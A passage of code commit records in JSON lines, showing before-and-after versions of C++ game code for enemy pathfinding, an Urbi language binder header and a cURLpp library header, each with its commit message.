(enemy->speed*dt);\n\n    v2 cur_dir;\n    cur_dir.x = cos(enemy->angle\/(180.0f\/M_PI));\n    cur_dir.y = sin(enemy->angle\/(180.0f\/M_PI));\n    float dot = normalized_dir * math_normalize(cur_dir);\n\n#if 0\n    if (dot >= 0.9999 && dot <= 1.0001) {\n        enemy->pos += dir;\n    } else {\n        float target_angle = atan2(dir.y, dir.x);\n        target_angle *= 180.0f\/M_PI;\n\n        float a = target_angle;\n        if (a < 0) a += 360;\n        float b = enemy->angle;\n        if (b < 0) b += 360;\n        float c = a - b;\n        if (c < 0) c += 360;\n\n        if (c < 180) {\n            enemy->angle += enemy->enemy_data.rotation_speed * dt;\n        } else {\n            enemy->angle -= enemy->enemy_data.rotation_speed * dt;\n        }\n    }\n#else\n    if (dot >= 0.88 && dot <= 1.12) {\n        enemy->pos += dir;\n    }\n\n    float target_angle = atan2(dir.y, dir.x);\n    target_angle *= 180.0f\/M_PI;\n\n    float a = target_angle;\n    if (a < 0) a += 360;\n    float b = enemy->angle;\n    if (b < 0) b += 360;\n    float c = a - b;\n    if (c < 0) c += 360;\n\n    if (c < 180) {\n        enemy->angle += enemy->enemy_data.rotation_speed * dt;\n    } else {\n        enemy->angle -= enemy->enemy_data.rotation_speed * dt;\n    }\n#endif\n}\n<commit_msg>Really fix enemy movement this time<commit_after>void enemy_set_destination(map_t map, entity_t *enemy, v2 dest) {\n    int tiles[30][40];\n\n    for (int j = 0; j < 30; j++) {\n        for (int i = 0; i < 40; i++) {\n            tiles[j][i] = (map.tile[j][i] == WALL || map.tile[j][i] == LOCK) ? -2 : -1;\n        }\n    }\n\n    dest = V2(((int) dest.x)\/TILE_SIZE, ((int) dest.y)\/TILE_SIZE);\n    \/\/printf(\"dest %lf %lf\\n\", dest);\n    \/\/dest = dest\/TILE_SIZE;\n\n    tiles[(int) dest.y][(int) dest.x] = 0;\n    \n\n    v2 queue[30*40];\n    int start = 0, end = 0;\n    queue[end++] = dest;\n\n    v2 enemy_pos = enemy->pos;\n    while (end != start) {\n        v2 cur = queue[start++];\n\n        if (cur == enemy_pos) break;\n\n        if (tiles[int(cur.y -1)][int(cur.x -1)] == -1) {\n            tiles[int(cur.y -1)][int(cur.x -1)] = tiles[int(cur.y)][int(cur.x)] +1;\n            queue[end++] = V2(cur.x -1, cur.y -1);\n        }\n        if (tiles[int(cur.y -1)][int(cur.x)] == -1) {\n            tiles[int(cur.y -1)][int(cur.x)] = tiles[int(cur.y)][int(cur.x)] +1;\n            queue[end++] = V2(cur.x, cur.y -1);\n        }\n        if (tiles[int(cur.y -1)][int(cur.x +1)] == -1) {\n            tiles[int(cur.y -1)][int(cur.x +1)] = tiles[int(cur.y)][int(cur.x)] +1;\n            queue[end++] = V2(cur.x +1, cur.y -1);\n        }\n        if (tiles[int(cur.y)][int(cur.x -1)] == -1) {\n            tiles[int(cur.y)][int(cur.x -1)] = tiles[int(cur.y)][int(cur.x)] +1;\n            queue[end++] = V2(cur.x -1, cur.y);\n        }\n        if (tiles[int(cur.y)][int(cur.x +1)] == -1) {\n            tiles[int(cur.y)][int(cur.x +1)] = tiles[int(cur.y)][int(cur.x)] +1;\n            queue[end++] = V2(cur.x +1, cur.y);\n        }\n        if (tiles[int(cur.y +1)][int(cur.x -1)] == -1) {\n            tiles[int(cur.y +1)][int(cur.x -1)] = tiles[int(cur.y)][int(cur.x)] +1;\n            queue[end++] = V2(cur.x -1, cur.y +1);\n        }\n        if (tiles[int(cur.y +1)][int(cur.x)] == -1) {\n            tiles[int(cur.y +1)][int(cur.x)] = tiles[int(cur.y)][int(cur.x)] +1;\n            queue[end++] = V2(cur.x, cur.y +1);\n        }\n        if (tiles[int(cur.y +1)][int(cur.x +1)] == -1) {\n            tiles[int(cur.y +1)][int(cur.x +1)] = tiles[int(cur.y)][int(cur.x)] +1;\n            queue[end++] = V2(cur.x +1, cur.y +1);\n        }\n    }\n\n    if (enemy->enemy_data.path) {\n        free(enemy->enemy_data.path);\n    }\n    enemy->enemy_data.path = (v2*) malloc(end*sizeof(v2));\n    enemy->enemy_data.path[0] = enemy_pos\/TILE_SIZE;\n    enemy->enemy_data.path[0] = V2(((int) enemy_pos.x)\/TILE_SIZE, ((int) enemy_pos.y)\/TILE_SIZE);\n\n    int i = 0;\n    int k = 0;\n    while (true) {\n        v2 currentPoint = enemy->enemy_data.path[i];\n        if (tiles[(int)currentPoint.y][(int) currentPoint.x] == 0) break;\n        v2 min = currentPoint;\n\n        if (tiles[int(min.y)][int(min.x)] > tiles[int(currentPoint.y+1)][int(currentPoint.x)]) {\n            if (tiles[int(currentPoint.y+1)][int(currentPoint.x)] != -2) {\n                min = V2(currentPoint.x, currentPoint.y+1);\n            }\n        }\n        if (tiles[int(min.y)][int(min.x)] > tiles[int(currentPoint.y)][int(currentPoint.x-1)]) {\n            if (tiles[int(currentPoint.y)][int(currentPoint.x-1)] != -2) {\n                min = V2(currentPoint.x-1, currentPoint.y);\n            }\n        }\n        if (tiles[int(min.y)][int(min.x)] > tiles[int(currentPoint.y)][int(currentPoint.x+1)]) {\n            if (tiles[int(currentPoint.y)][int(currentPoint.x+1)] != -2) {\n                min = V2(currentPoint.x+1, currentPoint.y);\n            }\n        }\n        if (tiles[int(min.y)][int(min.x)] > tiles[int(currentPoint.y-1)][int(currentPoint.x)]) {\n            if (tiles[int(currentPoint.y-1)][int(currentPoint.x)] != -2) {\n                min = V2(currentPoint.x, currentPoint.y-1);\n            }\n        }\n        if (tiles[int(min.y)][int(min.x)] > tiles[int(currentPoint.y-1)][int(currentPoint.x-1)]) {\n            if (tiles[int(currentPoint.y-1)][int(currentPoint.x-1)] != -2) {\n                min = V2(currentPoint.x-1, currentPoint.y-1);\n            }\n        }\n        if (tiles[int(min.y)][int(min.x)] > tiles[int(currentPoint.y-1)][int(currentPoint.x+1)]) {\n            if (tiles[int(currentPoint.y-1)][int(currentPoint.x+1)] != -2) {\n                min = V2(currentPoint.x+1, currentPoint.y-1);\n            }\n        }\n        if (tiles[int(min.y)][int(min.x)] > tiles[int(currentPoint.y+1)][int(currentPoint.x-1)]) {\n            if (tiles[int(currentPoint.y+1)][int(currentPoint.x-1)] != -2) {\n                min = V2(currentPoint.x-1, currentPoint.y+1);\n            }\n        }\n        if (tiles[int(min.y)][int(min.x)] > tiles[int(currentPoint.y+1)][int(currentPoint.x+1)]) {\n            if (tiles[int(currentPoint.y+1)][int(currentPoint.x+1)] != -2) {\n                min = V2(currentPoint.x+1, currentPoint.y+1);\n            }\n        }\n\n        enemy->enemy_data.path[++i] = min;\n    }\n\n    enemy->enemy_data.path_len = i+1;\n    enemy->enemy_data.path_cur = 0;\n}\n\nvoid enemy_move(map_t map, entity_t *enemy, double dt) {\n    enemy->previous_pos = enemy->pos;\n\n    v2 dir = (enemy->enemy_data.path[enemy->enemy_data.path_cur]*TILE_SIZE) + V2(TILE_SIZE\/2, TILE_SIZE\/2) - enemy->pos;\n    double mag = math_magnitude(dir);\n\n    if (mag < 4) {\n        enemy->pos = (enemy->enemy_data.path[enemy->enemy_data.path_cur]*TILE_SIZE) + V2(TILE_SIZE\/2, TILE_SIZE\/2);\n        if (enemy->enemy_data.path_cur+1 != enemy->enemy_data.path_len) {\n            enemy->enemy_data.path_cur++;\n        }\n        else {\n            enemy_set_destination(map, enemy, enemy->enemy_data.possibleDestinations[rand()%enemy->enemy_data.possibleDestinations_len]);\n        }\n        return;\n    }\n\n    v2 normalized_dir = math_normalize(dir);\n    dir = normalized_dir * (enemy->speed*dt);\n\n    v2 cur_dir;\n    cur_dir.x = cos(enemy->angle\/(180.0f\/M_PI));\n    cur_dir.y = sin(enemy->angle\/(180.0f\/M_PI));\n    float dot = normalized_dir * math_normalize(cur_dir);\n\n#if 0\n    if (dot >= 0.9999 && dot <= 1.0001) {\n        enemy->pos += dir;\n    } else {\n        float target_angle = atan2(dir.y, dir.x);\n        target_angle *= 180.0f\/M_PI;\n\n        float a = target_angle;\n        if (a < 0) a += 360;\n        float b = enemy->angle;\n        if (b < 0) b += 360;\n        float c = a - b;\n        if (c < 0) c += 360;\n\n        if (c < 180) {\n            enemy->angle += enemy->enemy_data.rotation_speed * dt;\n        } else {\n            enemy->angle -= enemy->enemy_data.rotation_speed * dt;\n        }\n    }\n#else\n    if (dot >= 0.88 && dot <= 1.12) {\n        enemy->pos += dir;\n    }\n\n    if (dot <= 0.999 || dot >= 1.001) {\n        float target_angle = atan2(dir.y, dir.x);\n        target_angle *= 180.0f\/M_PI;\n\n        float a = target_angle;\n        if (a < 0) a += 360;\n        float b = enemy->angle;\n        if (b < 0) b += 360;\n        float c = a - b;\n        if (c < 0) c += 360;\n\n        if (c < 180) {\n            enemy->angle += enemy->enemy_data.rotation_speed * dt;\n            if (enemy->angle > 360) enemy->angle -= 360;\n            if (enemy->angle < 0) enemy->angle += 360;\n        } else {\n            enemy->angle -= enemy->enemy_data.rotation_speed * dt;\n            if (enemy->angle > 360) enemy->angle -= 360;\n            if (enemy->angle < 0) enemy->angle += 360;\n        }\n    }\n#endif\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2008-2011, Gostai S.A.S.\n *\n * This software is provided \"as is\" without warranty of any kind,\n * either expressed or implied, including but not limited to the\n * implied warranties of fitness for a particular purpose.\n *\n * See the LICENSE file for more information.\n *\/\n\n\/**\n ** \\file binder\/binder.hh\n ** \\brief Definition of binder::Binder.\n *\/\n\n#ifndef BINDER_BINDER_HH\n# define BINDER_BINDER_HH\n\n# include <libport\/finally.hh>\n# include <list>\n# include <map>\n\n# include <ast\/all.hh>\n# include <ast\/analyzer.hh>\n# include <binder\/bind.hh>\n# include <urbi\/object\/fwd.hh>\n\nnamespace binder\n{\n\n  \/\/\/ Ast local variables binder.\n  class Binder : public ast::Analyzer\n  {\n  public:\n    \/\/\/ \\name Useful shorthands.\n    \/\/\/ \\{\n    \/\/\/ Super class type.\n    typedef ast::Analyzer super_type;\n    \/\/\/ Import rObject\n    typedef urbi::object::rObject rObject;\n    \/\/\/ \\}\n\n    \/\/\/ \\name Ctor & dtor.\n    \/\/\/ \\{\n    \/\/\/ Construct a \\c Binder.\n    Binder ();\n\n    \/\/\/ Destroy a Binder.\n    virtual ~Binder ();\n    \/\/\/ \\}\n\n    \/\/\/ Import visit from DefaultVisitor.\n    using super_type::visit;\n\n  protected:\n    CONST_VISITOR_VISIT_NODES(\n                              (Assignment)\n                              (Call)\n                              (CallMsg)\n                              (Catch)\n                              (Declaration)\n                              (Dictionary)\n                              (Do)\n                              (Foreach)\n                              (If)\n                              (LocalDeclaration)\n                              (Match)\n                              (Routine)\n                              (Scope)\n                              (Unscope)\n                              (While)\n      );\n\n    template <typename Node, typename NewNode>\n    void link_to_declaration(Node input,\n                             NewNode current,\n                             libport::Symbol name,\n                             unsigned depth);\n\n  private:\n    \/\/\/ Report an error.\n    void err(const ast::loc& loc, const std::string& msg);\n    \/\/\/ Actions to perform at exit of the innermost scope.\n    typedef std::list<libport::Finally> unbind_type;\n    unbind_type unbind_;\n\n    \/\/\/ Declaration * (routine_depth * scope_depth)\n    typedef std::pair<ast::rLocalDeclaration,\n                      std::pair<unsigned, unsigned> > binding_type;\n    typedef std::list<binding_type> Bindings;\n    typedef std::map<libport::Symbol, Bindings> Environment;\n    \/\/\/ Map of currently bound variables\n    Environment env_;\n\n    \/\/\/ Whether to apply setSlot on self\n    typedef std::vector<bool> set_on_self_type;\n    set_on_self_type setOnSelf_;\n    bool set_on_self(unsigned up = 0);\n\n    \/\/\/ \\name Routine stack.\n    \/\/\/ \\{\n    \/\/\/ The stack of current number of local variables, and maximum\n    \/\/\/ number of local variable used by the current routine.\n    typedef std::list<ast::rRoutine> routine_stack_type;\n    routine_stack_type routine_stack_;\n    \/\/\/ Helpers routines to manipulate the frame size stack\n    void routine_push(ast::rRoutine f);\n    void routine_pop();\n\n    \/\/\/ The routine currently defined.\n    \/\/\/ Cannot be called if there is none.\n    ast::rRoutine routine() const;\n\n    \/\/\/ The innermost function (not closure).\n    \/\/\/ May return 0.\n    ast::rRoutine function() const;\n    \/\/\/ \\}\n\n    \/\/\/ Level of routine nesting.\n    unsigned routine_depth_;\n    \/\/\/ Level of scope nesting.\n    unsigned scope_depth_;\n    \/\/\/ Local index at the toplevel\n    unsigned toplevel_index_;\n\n    \/\/\/ Register that \\a var is bound in any subscope, \\a being its\n    \/\/\/ declaration\n    void bind(ast::rLocalDeclaration decl);\n\n    \/\/\/ \\return 0 if the variable isn't local, or the depth in\n    \/\/\/ number of nested routines otherwise.\n    unsigned routine_depth_get(libport::Symbol name);\n    unsigned scope_depth_get(libport::Symbol name);\n    ast::rLocalDeclaration decl_get(libport::Symbol name);\n\n    \/\/\/ Factored method to handle scopes.\n    libport::Finally::action_type scope_open(bool set_on_self);\n    void scope_close();\n\n    \/\/\/ Factored method to create updateSlot\/setSlot calls.\n    ast::rCall changeSlot(const ast::loc& l,\n                          const ast::rExp& target,\n                          libport::Symbol name,\n                          libport::Symbol method,\n                          ast::rConstExp value = 0);\n\n    \/\/\/ Make a lazy from \\a arg.\n    ast::rExp lazify(ast::rExp arg);\n\n    \/\/\/ Wether to report errors.\n    bool report_errors_;\n    \/\/\/ How many scope to bypass when declaring variables.\n    unsigned unscope_;\n  };\n\n} \/\/ namespace binder\n\n# include <binder\/binder.hxx>\n\n#endif \/\/ !BINDER_BINDER_HH\n<commit_msg>bind: use hash table.<commit_after>\/*\n * Copyright (C) 2008-2011, Gostai S.A.S.\n *\n * This software is provided \"as is\" without warranty of any kind,\n * either expressed or implied, including but not limited to the\n * implied warranties of fitness for a particular purpose.\n *\n * See the LICENSE file for more information.\n *\/\n\n\/**\n ** \\file binder\/binder.hh\n ** \\brief Definition of binder::Binder.\n *\/\n\n#ifndef BINDER_BINDER_HH\n# define BINDER_BINDER_HH\n\n# include <libport\/finally.hh>\n# include <list>\n# include <boost\/unordered_map.hpp>\n\n# include <ast\/all.hh>\n# include <ast\/analyzer.hh>\n# include <binder\/bind.hh>\n# include <urbi\/object\/fwd.hh>\n\nnamespace binder\n{\n\n  \/\/\/ Ast local variables binder.\n  class Binder : public ast::Analyzer\n  {\n  public:\n    \/\/\/ \\name Useful shorthands.\n    \/\/\/ \\{\n    \/\/\/ Super class type.\n    typedef ast::Analyzer super_type;\n    \/\/\/ Import rObject\n    typedef urbi::object::rObject rObject;\n    \/\/\/ \\}\n\n    \/\/\/ \\name Ctor & dtor.\n    \/\/\/ \\{\n    \/\/\/ Construct a \\c Binder.\n    Binder();\n\n    \/\/\/ Destroy a Binder.\n    virtual ~Binder();\n    \/\/\/ \\}\n\n    \/\/\/ Import visit from DefaultVisitor.\n    using super_type::visit;\n\n  protected:\n    CONST_VISITOR_VISIT_NODES(\n                              (Assignment)\n                              (Call)\n                              (CallMsg)\n                              (Catch)\n                              (Declaration)\n                              (Dictionary)\n                              (Do)\n                              (Foreach)\n                              (If)\n                              (LocalDeclaration)\n                              (Match)\n                              (Routine)\n                              (Scope)\n                              (Unscope)\n                              (While)\n      );\n\n    template <typename Node, typename NewNode>\n    void link_to_declaration(Node input,\n                             NewNode current,\n                             libport::Symbol name,\n                             unsigned depth);\n\n  private:\n    \/\/\/ Report an error.\n    void err(const ast::loc& loc, const std::string& msg);\n    \/\/\/ Actions to perform at exit of the innermost scope.\n    typedef std::list<libport::Finally> unbind_type;\n    unbind_type unbind_;\n\n    \/\/\/ Declaration * (routine_depth * scope_depth)\n    typedef std::pair<ast::rLocalDeclaration,\n                      std::pair<unsigned, unsigned> > binding_type;\n    typedef std::list<binding_type> Bindings;\n    typedef boost::unordered_map<libport::Symbol, Bindings> Environment;\n    \/\/\/ Map of currently bound variables\n    Environment env_;\n\n    \/\/\/ Whether to apply setSlot on self\n    typedef std::vector<bool> set_on_self_type;\n    set_on_self_type setOnSelf_;\n    bool set_on_self(unsigned up = 0);\n\n    \/\/\/ \\name Routine stack.\n    \/\/\/ \\{\n    \/\/\/ The stack of current number of local variables, and maximum\n    \/\/\/ number of local variable used by the current routine.\n    typedef std::list<ast::rRoutine> routine_stack_type;\n    routine_stack_type routine_stack_;\n    \/\/\/ Helpers routines to manipulate the frame size stack\n    void routine_push(ast::rRoutine f);\n    void routine_pop();\n\n    \/\/\/ The routine currently defined.\n    \/\/\/ Cannot be called if there is none.\n    ast::rRoutine routine() const;\n\n    \/\/\/ The innermost function (not closure).\n    \/\/\/ May return 0.\n    ast::rRoutine function() const;\n    \/\/\/ \\}\n\n    \/\/\/ Level of routine nesting.\n    unsigned routine_depth_;\n    \/\/\/ Level of scope nesting.\n    unsigned scope_depth_;\n    \/\/\/ Local index at the toplevel\n    unsigned toplevel_index_;\n\n    \/\/\/ Register that \\a var is bound in any subscope, \\a being its\n    \/\/\/ declaration\n    void bind(ast::rLocalDeclaration decl);\n\n    \/\/\/ \\return 0 if the variable isn't local, or the depth in\n    \/\/\/ number of nested routines otherwise.\n    unsigned routine_depth_get(libport::Symbol name);\n    unsigned scope_depth_get(libport::Symbol name);\n    ast::rLocalDeclaration decl_get(libport::Symbol name);\n\n    \/\/\/ Factored method to handle scopes.\n    libport::Finally::action_type scope_open(bool set_on_self);\n    void scope_close();\n\n    \/\/\/ Factored method to create updateSlot\/setSlot calls.\n    ast::rCall changeSlot(const ast::loc& l,\n                          const ast::rExp& target,\n                          libport::Symbol name,\n                          libport::Symbol method,\n                          ast::rConstExp value = 0);\n\n    \/\/\/ Make a lazy from \\a arg.\n    ast::rExp lazify(ast::rExp arg);\n\n    \/\/\/ Wether to report errors.\n    bool report_errors_;\n    \/\/\/ How many scope to bypass when declaring variables.\n    unsigned unscope_;\n  };\n\n} \/\/ namespace binder\n\n# include <binder\/binder.hxx>\n\n#endif \/\/ !BINDER_BINDER_HH\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *    Copyright (c) <2002-2006> <Jean-Philippe Barrette-LaPierre>\n *    \n *    Permission is hereby granted, free of charge, to any person obtaining\n *    a copy of this software and associated documentation files \n *    (cURLpp), to deal in the Software without restriction, \n *    including without limitation the rights to use, copy, modify, merge,\n *    publish, distribute, sublicense, and\/or sell copies of the Software,\n *    and to permit persons to whom the Software is furnished to do so, \n *    subject to the following conditions:\n *    \n *    The above copyright notice and this permission notice shall be included\n *    in all copies or substantial portions of the Software.\n *    \n *    THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n *    OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n *    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. \n *    IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY \n *    CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, \n *    TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n *    SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n\n#ifndef CURLPP_HPP\n#define CURLPP_HPP\n\n#define LIBCURLPP_VERSION \"0.7.0-pre1\"\n#define LIBCURLPP_VERSION_NUM 0x000700\n\n#include <string>\n#include <curl\/curl.h>\n\n#include \"dllfct.h\"\n\n\nnamespace cURLpp\n{\n   \/**\n    * This function takes care of initializing cURLpp ( also libcURL). If you want \n    * to cleanup cURL before your application quits just call cURLpp::terminate().\n    * This function should only be called once (no matter how many threads or \n    * libcurl sessions that'll be used) by every application that uses libcurl, \n    * it will throw a logic_error if you call it twice.\n    *\n    * The flags option is a bit pattern that tells  libcurl  exact what  features\n    * to init, as described below. Set the desired bits by ORing the values together.\n    *\n    *  CURL_GLOBAL_ALL\n    *  Initialize  everything  possible.  This  sets all known bits.\n    *\n    *  CURL_GLOBAL_SSL\n    *  Initialize SSL\n    *  \n    *  CURL_GLOBAL_WIN32\n    *  Initialize  the  Win32  socket  libraries.\n    *\n    *  CURL_GLOBAL_NOTHING\n    *  Initialise nothing extra. This sets no bit.\n    *\n    * NOTE: you cannot call this function twice without first terminating it first.\n    * it will throw a logic_error if you do this.\n    *\/\n  void CURLPPAPI initialize(long flags = CURL_GLOBAL_ALL);\n   \n  \/**\n   * This function takes care of cleaning up cURLpp ( also libcURL). See \n   * cURLpp::initialize( long flags ) for momre documentation.\n   * \n   * NOTE: you cannot call this function if cURLpp is not loaded. it will throw a \n   * logic_error if you do this.\n   *\/\n  void CURLPPAPI terminate();\n   \n  \/**\n   * This class takes care of initialization and cleaning up cURLpp ( also libcURL )\n   * (it will call cURLpp:terminate() in his destructor). If you want to be sure that \n   * cURLpp is cleanup after you reached the end of scope of a specific function using \n   * cURLpp, instatiate this class. This function call cURLpp::initialize() in his \n   * constructor, so you don't have to call it by yourself, when you have decided to \n   * use it.\n   *\n   * See cURLpp::initialize( long flags ) and cURLpp:terminate() for more documentation.\n   *\/\n  class CURLPPAPI Cleanup\n  {\n  public:\n    Cleanup();\n    ~Cleanup();\n  };\n\n  \/**\n   * This  function  will  convert  the given input string to an URL encoded\n   * string and return that as a new allocated string. All input  characters\n   * that  are  not a-z, A-Z or 0-9 will be converted to their \"URL escaped\"\n   * version (%NN where NN is a two-digit hexadecimal number).\n   *\/\n  std::string CURLPPAPI escape( const std::string& url );\n\n  \/**\n   * This  function  will  convert  the  given  URL encoded input string to a\n   * \"plain string\" and return that as a new allocated string. All input\n   * characters that are URL encoded (%XX) where XX is a two-digit\n   * hexadecimal number, or +) will be converted to their plain text versions\n   * (up to a ? letter, no + letters to the right of a ? letter will be\n   * converted).\n   *\/\n  std::string CURLPPAPI unescape( const std::string &url );\n\n  \/**\n   * this is  a portable wrapper for the getenv() function, meant to emulate\n   * its behaviour and provide an identical interface for all operating\n   * systems libcurl builds on (including win32). Under unix operating\n   * systems, there isn't any point in returning an allocated memory,\n   * although other systems won't work  properly if this isn't done. The unix\n   * implementation thus have to suffer slightly from the drawbacks of other\n   * systems.\n   *\/\n  std::string CURLPPAPI getenv( const std::string &name );\n\n  \/**\n   * Returns  a  human readable string with the version number of libcurl and\n   * some of its important components  (like  OpenSSL version).\n   *\n   * Note:  this  returns  the  actual running lib's version, you might have\n   * installed a newer lib's include files in your system  which may turn\n   * your LIBCURL_VERSION #define value to differ from this result.\n   *\/\n  std::string CURLPPAPI libcurlVersion();\n\n  \/**\n   * This function returns the number of  seconds  since  January 1st  1970,\n   * for the date and time that the datestring parameter specifies. The now\n   * parameter is there  and  should  hold the current time to allow the\n   * datestring to specify relative dates\/times. Read further in the date\n   * string parser  section below.\n   *\n   * PARSING DATES AND TIMES\n   * A  \"date\" is a string, possibly empty, containing many items separated\n   * by whitespace.  The whitespace may be omitted when no  ambiguity\n   * arises.  The empty string means the beginning of today (i.e., midnight).\n   * Order of the  items  is  immaterial.  A date string may contain many\n   * flavors of items:\n   *\n   * calendar date items\n   * This can be specified in a number of different ways. Including\n   * 1970-09-17, 70-9-17, 70-09-17, 9\/17\/72, 24 September 1972, 24 Sept 72,\n   * 24 Sep 72, Sep 24, 1972, 24-sep-72, 24sep72.  The year can also  be\n   * omitted, for example: 9\/17 or \"sep 17\".\n   * \n   * time of the day items\n   * This  string specifies the time on a given day. Syntax  supported\n   * includes:  18:19:0,  18:19,  6:19pm, 18:19-0500 (for specifying the time\n   * zone as well).\n   *\n   * time zone items\n   * Specifies  international  time zone. There are a few acronyms\n   * supported,  but  in  general  you   should instead  use  the specific\n   * realtive time compared to UTC. Supported formats include: -1200, MST,\n   * +0100.\n   *\n   * day of the week items\n   * Specifies a day of the week. If  this  is  mentioned alone it means that\n   * day of the week in the future. Days  of  the week may be spelled out in\n   * full: `Sunday', `Monday', etc or they may  be  abbreviated  to their\n   * first three letters, optionally followed by a period.  The special\n   * abbreviations `Tues' for `Tuesday', `Wednes' for `Wednesday' and `Thur'\n   * or `Thurs' for `Thursday' are also allowed. A number may precede a day\n   * of the week item to  move forward  supplementary  weeks.   It  is best\n   * used in expression like `third monday'.   In  this  context, `last  DAY'\n   * or  `next DAY' is also acceptable; they move one week before or after\n   * the day  that  DAY  by itself would represent.\n   *\n   * relative items\n   * A  relative item adjusts a date (or the current date if  none)  forward\n   * or  backward.   Example   syntax includes:  \"1  year\",  \"1  year  ago\",\n   * \"2 days\", \"4 weeks\". The string `tomorrow' is worth one day in the\n   * future (equivalent  to  `day'),  the  string `yesterday' is worth one\n   * day in the past (equivalent to `day ago').\n   *\n   * pure numbers\n   * If the decimal number is of the form YYYYMMDD and no other calendar date\n   * item appears before  it  in  the date  string,  then  YYYY is read as\n   * the year, MM as the month number and DD as the day of the month, for the\n   * specified calendar date.\n   *\/\n  time_t CURLPPAPI getdate( const std::string&date, time_t *now = 0 );\n \n}\n\n#endif\n<commit_msg>Started the 0.7.1 development<commit_after>\/*\n *    Copyright (c) <2002-2006> <Jean-Philippe Barrette-LaPierre>\n *    \n *    Permission is hereby granted, free of charge, to any person obtaining\n *    a copy of this software and associated documentation files \n *    (cURLpp), to deal in the Software without restriction, \n *    including without limitation the rights to use, copy, modify, merge,\n *    publish, distribute, sublicense, and\/or sell copies of the Software,\n *    and to permit persons to whom the Software is furnished to do so, \n *    subject to the following conditions:\n *    \n *    The above copyright notice and this permission notice shall be included\n *    in all copies or substantial portions of the Software.\n *    \n *    THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n *    OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n *    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. \n *    IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY \n *    CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, \n *    TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n *    SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n\n#ifndef CURLPP_HPP\n#define CURLPP_HPP\n\n#define LIBCURLPP_VERSION \"0.7.1-devel\"\n#define LIBCURLPP_VERSION_NUM 0x000700\n\n#include <string>\n#include <curl\/curl.h>\n\n#include \"dllfct.h\"\n\n\nnamespace cURLpp\n{\n   \/**\n    * This function takes care of initializing cURLpp ( also libcURL). If you want \n    * to cleanup cURL before your application quits just call cURLpp::terminate().\n    * This function should only be called once (no matter how many threads or \n    * libcurl sessions that'll be used) by every application that uses libcurl, \n    * it will throw a logic_error if you call it twice.\n    *\n    * The flags option is a bit pattern that tells  libcurl  exact what  features\n    * to init, as described below. Set the desired bits by ORing the values together.\n    *\n    *  CURL_GLOBAL_ALL\n    *  Initialize  everything  possible.  This  sets all known bits.\n    *\n    *  CURL_GLOBAL_SSL\n    *  Initialize SSL\n    *  \n    *  CURL_GLOBAL_WIN32\n    *  Initialize  the  Win32  socket  libraries.\n    *\n    *  CURL_GLOBAL_NOTHING\n    *  Initialise nothing extra. This sets no bit.\n    *\n    * NOTE: you cannot call this function twice without first terminating it first.\n    * it will throw a logic_error if you do this.\n    *\/\n  void CURLPPAPI initialize(long flags = CURL_GLOBAL_ALL);\n   \n  \/**\n   * This function takes care of cleaning up cURLpp ( also libcURL). See \n   * cURLpp::initialize( long flags ) for momre documentation.\n   * \n   * NOTE: you cannot call this function if cURLpp is not loaded. it will throw a \n   * logic_error if you do this.\n   *\/\n  void CURLPPAPI terminate();\n   \n  \/**\n   * This class takes care of initialization and cleaning up cURLpp ( also libcURL )\n   * (it will call cURLpp:terminate() in his destructor). If you want to be sure that \n   * cURLpp is cleanup after you reached the end of scope of a specific function using \n   * cURLpp, instatiate this class. This function call cURLpp::initialize() in his \n   * constructor, so you don't have to call it by yourself, when you have decided to \n   * use it.\n   *\n   * See cURLpp::initialize( long flags ) and cURLpp:terminate() for more documentation.\n   *\/\n  class CURLPPAPI Cleanup\n  {\n  public:\n    Cleanup();\n    ~Cleanup();\n  };\n\n  \/**\n   * This  function  will  convert  the given input string to an URL encoded\n   * string and return that as a new allocated string. All input  characters\n   * that  are  not a-z, A-Z or 0-9 will be converted to their \"URL escaped\"\n   * version (%NN where NN is a two-digit hexadecimal number).\n   *\/\n  std::string CURLPPAPI escape( const std::string& url );\n\n  \/**\n   * This  function  will  convert  the  given  URL encoded input string to a\n   * \"plain string\" and return that as a new allocated string. All input\n   * characters that are URL encoded (%XX) where XX is a two-digit\n   * hexadecimal number, or +) will be converted to their plain text versions\n   * (up to a ? letter, no + letters to the right of a ? letter will be\n   * converted).\n   *\/\n  std::string CURLPPAPI unescape( const std::string &url );\n\n  \/**\n   * this is  a portable wrapper for the getenv() function, meant to emulate\n   * its behaviour and provide an identical interface for all operating\n   * systems libcurl builds on (including win32). Under unix operating\n   * systems, there isn't any point in returning an allocated memory,\n   * although other systems won't work  properly if this isn't done. The unix\n   * implementation thus have to suffer slightly from the drawbacks of other\n   * systems.\n   *\/\n  std::string CURLPPAPI getenv( const std::string &name );\n\n  \/**\n   * Returns  a  human readable string with the version number of libcurl and\n   * some of its important components  (like  OpenSSL version).\n   *\n   * Note:  this  returns  the  actual running lib's version, you might have\n   * installed a newer lib's include files in your system  which may turn\n   * your LIBCURL_VERSION #define value to differ from this result.\n   *\/\n  std::string CURLPPAPI libcurlVersion();\n\n  \/**\n   * This function returns the number of  seconds  since  January 1st  1970,\n   * for the date and time that the datestring parameter specifies. The now\n   * parameter is there  and  should  hold the current time to allow the\n   * datestring to specify relative dates\/times. Read further in the date\n   * string parser  section below.\n   *\n   * PARSING DATES AND TIMES\n   * A  \"date\" is a string, possibly empty, containing many items separated\n   * by whitespace.  The whitespace may be omitted when no  ambiguity\n   * arises.  The empty string means the beginning of today (i.e., midnight).\n   